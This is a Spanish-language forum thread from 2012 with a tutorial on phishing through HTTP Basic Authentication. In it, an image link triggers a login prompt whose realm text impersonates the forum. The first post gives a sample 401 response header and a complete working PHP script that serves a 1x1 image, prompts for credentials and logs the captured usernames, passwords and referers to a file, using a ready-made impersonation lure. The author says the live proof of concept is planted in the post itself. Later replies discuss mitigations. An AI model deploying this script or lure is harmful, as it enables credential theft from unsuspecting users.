elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]  (Leído 6,914 veces)
h3ct0r

Desconectado Desconectado

Mensajes: 108


Hail to the king baby!


Ver Perfil
Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]
« en: 9 Marzo 2012, 21:17 pm »

Buenas, hoy quisiera compartir con ustedes un tipo de vulnerabilidad, que aunque no es nueva puede afectar una muy buena cantidad de sitios web actualmente.

Primero comencemos por conocer, que es la autenticación por HTTP básica  o HTTP Basic Authentication?

HTTP basic Authentication es un protocolo de autenticación de usuarios a través de HTTP, que por definición es un método inseguro (A menos que se combine con SSL/TLS) usado a travez de navegadores web o similares hacia un servidor web. Según el RFC "la mayor cantidad de riesgos no se encuentran en el protocolo sino en la manera en que es aplicado y en sus políticas de uso".

Para usar este método de autenticación hay que enviar un header con 401 Unauthorized junto con WWW-Authenticate para de esta manera solicitar al cliente que escriba un usuario y contraseña para acceder al servicio. El navegador responde en la directiva Authorization con el usuario y el password codificados en base64. Un ejemplo : miUsuario:miPassword = bWlVc3VhcmlvOm1pUGFzc3dvcmQ=

Un campo que es necesario para que el protocolo funcione es el de realm, este campo proporciona al cliente, un mensaje del servidor que pide la autorización. Este campo puede ser editado para colocar cualquier información que el servidor quiere que el usuario lea, en nuestro caso colocaremos en este campo un mensaje de phishing.

Por ejemplo, aquí tenemos una cabecera de una respuesta de HTTP que permite mostrar una imagen y también la creación de un PopUP preguntando para el usuario su login y su contraseña junto con un mensaje personalizado para el foro de ElHacker.net:

Código
  1. Status=Unauthorized - 401
  2. Age=0
  3. Cache-Control=no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  4. Content-Type=image/png
  5. Date=Fri, 09 Mar 2012 19:14:43 GMT
  6. Pragma=no-cache
  7. Server=nginx/1.0.11
  8. Via=1.1 varnish
  9. WWW-Authenticate=Basic realm="Enhorabuena! Elhacker.net está probando su nueva plataforma. Si quieres participar en la versión Beta del foro, por favor introduce tus datos."
  10. X-Powered-By=PHP/5.3.2-1ubuntu4.10
  11. X-Varnish=1621342107
  12. Content-Length=115
  13. Connection=keep-alive
  14.  

De esta manera si el usuario coloca este link en una imagen, por ejemplo, se procesaría primero el PopUP y luego mostraría una imagen en png. Así el usuario común no sospecharía de donde realmente vino ese mensaje y si es legitimo o no.

Para no caer en esta trampa se pueden observar el estado de los headers de HTTP a través de plugins o proxys, yo particularmente recomiendo usar Tamper Data o Live HTTP headers para firefox.

Una de las características de seguridad aplicadas junto con este protocolo es mostrar la dirección del host que hizo la petición, junto con el mensaje personalizado. Quedando así en navegadores Firefox y Chromium :

Firefox 10.0.2


Chromium 6.0.472.63

*Update:
Actualmente Chome 17.0.963.78 m Windows y Chromium 19.0.1066.0 Windows no parecen ser vulnerables.
Aqui esta el link en que los desemvolvedores de Chromium explican a un usuario que cross-domain HTTP authentication fue deshabilitada como defensa al phishing en los alrededores de agosto de 2011 http://code.google.com/p/chromium/issues/detail?id=91814.
IE 9.0.8112 es vulnerable con una linda cajita de mensajes que hasta imagen tiene.

Que a pesar de que este nombre de host no puede ser bypasseado fácilmente, el usuario puede ser enganado para pasar por alto el origen del mensaje si la petición la hace un servidor con un nombre parecido al foro victima, por ejemplo elHackerr.net en vez de elHacker.net. Con solo cambiar una letra ya los usuarios despistados confiarían en la autenticidad del mensaje.

Para probar esta "vulnerabilidad" voy a colocar una imagen con el POC dentro de este mensaje, que probablemente les aparecerá a cualquiera que abra este post, por favor esto es solo de prueba y no coloquen sus contraseñas y usuarios de verdad. Si el staff de ElHacker.net me pide retirar el mensaje con mucho gusto lo haré.

Como solventar este problema?
Se pudiera restringir colocar imagenes que contengan nombres de tipo de archivos diferentes a *.png o *.gif, pero eso fácilmente puede ser editado por el servidor en el que se aloja el script usando mod_rewrite de apache. Aquí hay un link con un ejemplo de eso http://bit.ly/wcjFO4.

También se pudiera prohibir todos los links de un host diferente al del foro, o colocar alguna especie de proxy para cada imagen o link que antes de que sea mostrado, pase primero por un filtro.

Cuales otras soluciones se les ocurre?

Para mas información aquí esta el link a el RFC de HTTP Authentication http://www.ietf.org/rfc/rfc2617.txt y el link del documento de php que explica como hacer funcionar este protocolo en ese lenguaje de programación http://php.net/manual/en/features.http-auth.php.

Update (04/05/2012):
El usuario 0x5d creo un post con explicando tambien esta vulnerabilidad en http://www.portalhacker.net/index.php?topic=118854.0. (17 Octubre 2010)

Y como no puede faltar, adjunto el código del mensaje que loguea las respuestas de los usuarios en un archivo html fácil de leer (También fácilmente puede ser colocado dentro de una base de datos para mejor acceso):

Código
  1. <?php
  2. /*
  3. * Creas una imagen de 1x1, envias la imagen y dependiendo de las reglas que escojas
  4. * envias tambien un header con autenticacion http basica, y los resultados se
  5. * guardan dentro de un archivo de texto en el servidor.
  6. */
  7. $im = imagecreate(1, 1);
  8. $bg = imagecolorallocate($im, 255, 255, 255);
  9. $textcolor = imagecolorallocate($im, 100, 180, 10);
  10.  
  11. header('Content-type: image/png');
  12. header("Cache-Control: no-store, no-cache, must-revalidate");
  13. header("Cache-Control: post-check=0, pre-check=0", false);
  14. header("Pragma: no-cache");
  15.  
  16. imagepng($im);
  17.  
  18. $randomNumber = rand(0 , 100);
  19. //if($randomNumber < 10){
  20. loadAuth();
  21. //}
  22.  
  23. function loadAuth(){
  24. $targetFile = "log.html";
  25. $realm = "Enhorabuena! Elhacker.net está probando su nueva plataforma. Si quieres participar en la versión Beta del foro, por favor introduce tus datos.";
  26. //http://php.net/manual/en/features.http-auth.php
  27. //http://www.ietf.org/rfc/rfc2617.txt
  28. if(empty($_SERVER['PHP_AUTH_USER'])){
  29. header('HTTP/1.0 401 Unauthorized');
  30. header("WWW-Authenticate: Basic realm=\"".$realm."\"");
  31. die('Por favor, intente nuevamente.');
  32. }
  33. else{
  34. file_put_contents($targetFile, "<span style=\"font-weight:bold; color:red;\">".date("Y:m:d H:i")."</span><br>", FILE_APPEND);
  35. file_put_contents($targetFile, "<span style=\"font-weight:bold;\">Usuario = </span>".$_SERVER['PHP_AUTH_USER']."<br><span style=\"font-weight:bold;\">Password = </span>".$_SERVER['PHP_AUTH_PW']."<br><span style=\"font-weight:bold;\">Referer = </span>".$_SERVER['HTTP_REFERER']."<br>", FILE_APPEND);
  36.  
  37. }
  38. }
  39. ?>

Esta es la imagen maliciosa!! []
« Última modificación: 4 Mayo 2012, 21:28 pm por h3ct0r » En línea

[img[/img]
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.589


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]
« Respuesta #1 en: 11 Marzo 2012, 21:28 pm »

Está super bién explicado. Hace un par de ños atrás estubo de moda que algunos intentaban robar contraseñas de este modo poniendo autentificación en sus avatares o firmas, pero los fuimos baneando y asunto solucionado.

El bug es viejisimo, de hecho por este mismo motivo vbulletin, facebook, etc prefieren crear una precarga del enlace y verificar este tipo de cosas antes de aceptar el enlace como válido o no.

De todas formas habría que ser muy ingenuo para caer en algo así porque hay que recordar que en la ventana de autentificación aparece que sitio web requere las credenciales, asi que si entro a elhacker.net y yo.com me solicita mi clave está mas que claro que no se lo debo dar.
En línea

h3ct0r

Desconectado Desconectado

Mensajes: 108


Hail to the king baby!


Ver Perfil
Re: Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]
« Respuesta #2 en: 8 Abril 2012, 17:40 pm »

Gracias por el comentario WHK, si al parecer este bug no es nuevo pero nunca escuche de el, y tampoco vi ningún post en el foro que lo explicara.

Uno nunca debe subestimar el poder de la ingeniería social, quien sabe, capaz este bug puede ayudar o ser parte de un ataque mas grande.

Saludos.
En línea

[img[/img]
Isótopo

Desconectado Desconectado

Mensajes: 292


Comprende a los demás para comprenderte a tí mismo


Ver Perfil
Re: Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]
« Respuesta #3 en: 8 Abril 2012, 17:54 pm »

Pues yo, por desgracia, le veo bastantes posibilidades. Por muy viejo que sea el bug, h3ctor se ha currado mucho el post. Gracias.
En línea


-Asus Crosshair IV Formula            
-AMD Phenom II X6 1090T 3.94Ghz @1.38V
-Corsair H70
-Sapphire Radeon HD 6970 2GB Dual-Fan
-G.Skill PIS PC3-17066 4GB 1900MHz 7-9-7-20 @1.65V
-WD Caviar Black 500GB
-Seagate Barracuda Green 2TB x2
-Antec TruePower New 750W Modular
-Cooler Master Dominator CM-690
0x5d

Desconectado Desconectado

Mensajes: 241



Ver Perfil WWW
Re: Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]
« Respuesta #4 en: 3 Mayo 2012, 05:27 am »

Yo había explicado lo mismo hace un tiempo :P http://www.portalhacker.net/index.php?topic=118854.0

Saludos, Javier.
En línea

h3ct0r

Desconectado Desconectado

Mensajes: 108


Hail to the king baby!


Ver Perfil
Re: Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]
« Respuesta #5 en: 3 Mayo 2012, 14:50 pm »

Gracias por el link 0x5d, le heche una leida a tu post y esta bastante bien, si quieres puedo poner un enlace a tu post para completar las ideas.

Saludos
En línea

[img[/img]
0x5d

Desconectado Desconectado

Mensajes: 241



Ver Perfil WWW
Re: Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]
« Respuesta #6 en: 3 Mayo 2012, 20:23 pm »

Gracias por el link 0x5d, le heche una leida a tu post y esta bastante bien, si quieres puedo poner un enlace a tu post para completar las ideas.

Saludos
Como desees ! :D
En línea

h3ct0r

Desconectado Desconectado

Mensajes: 108


Hail to the king baby!


Ver Perfil
Re: Un phishing peculiar,usando autenticación por HTTP de manera maliciosa[Tutorial]
« Respuesta #7 en: 4 Mayo 2012, 21:27 pm »

Adicionado al post el link que me pasaste 0x5d!

Saludos  :P
En línea

[img[/img]
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines